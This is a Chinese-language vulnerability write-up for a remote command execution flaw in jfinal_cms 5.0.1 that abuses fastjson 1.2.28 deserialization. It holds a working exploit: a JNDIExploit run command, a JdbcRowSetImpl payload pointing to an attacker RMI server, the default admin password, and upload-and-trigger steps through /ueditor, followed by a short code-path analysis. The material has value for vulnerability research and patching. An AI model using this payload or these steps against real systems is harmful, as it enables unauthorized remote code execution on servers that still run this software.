Jfinal CMS命令注入漏洞
漏洞环境
jfinal_cms 5.0.1 中存在命令执行漏洞
JDK 版本要求:
- 基于 RMI<=6u141、7u131、8u121 使用的 JDK 版本
- 基于 LDAP<=6u211、7u201、8u191 使用的 JDK 版本。
jfinal_cms版本:5.0.1
fastjson版本:1.2.28
漏洞复用
测试中使用的JDK版本:JDK8u101
在 kali 上运行该工具,启动 rmi 和 ldap 服务
https://github.com/feihong-cs/JNDIExploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"
替换payload中的rmi或ldap地址,然后保存到config.json
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.248.128:1099/6dxg2x", "autoCommit":true }}
登录后台,找到模板管理,后台默认账号密码admin/admin123456
找到config.json并点击,之后点replace file
把刚才做好的payload上传
访问 /ueditor,就会执行命令并弹出计算器
http://localhost:8080/jfinal_cms/ueditor
利用成功,散会!
漏洞分析
com.jflyfox.component.controller.Ueditor
ActionEnter
类在/ueditor
路由的index
方法中实例化
com.baidu.ueditor.ActionEnter
在ActionEnter
类的构造方法中实例化
com.baidu.ueditor.ConfigManager
ConfigManager
调用的构造方法initEnv()
com.baidu.ueditor.ConfigManager
initEnv
调用JSONObject.parseObject
来解析文件内容,这里的文件内容是可控的,只需将文件内容替换为payload即可
com.baidu.ueditor.ConfigManager
如果后台存在任何文件上传漏洞,则可以将此文件替换为包含payload的文件,以触发 fastjson 反序列化WEB-INF/classes/config.json
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341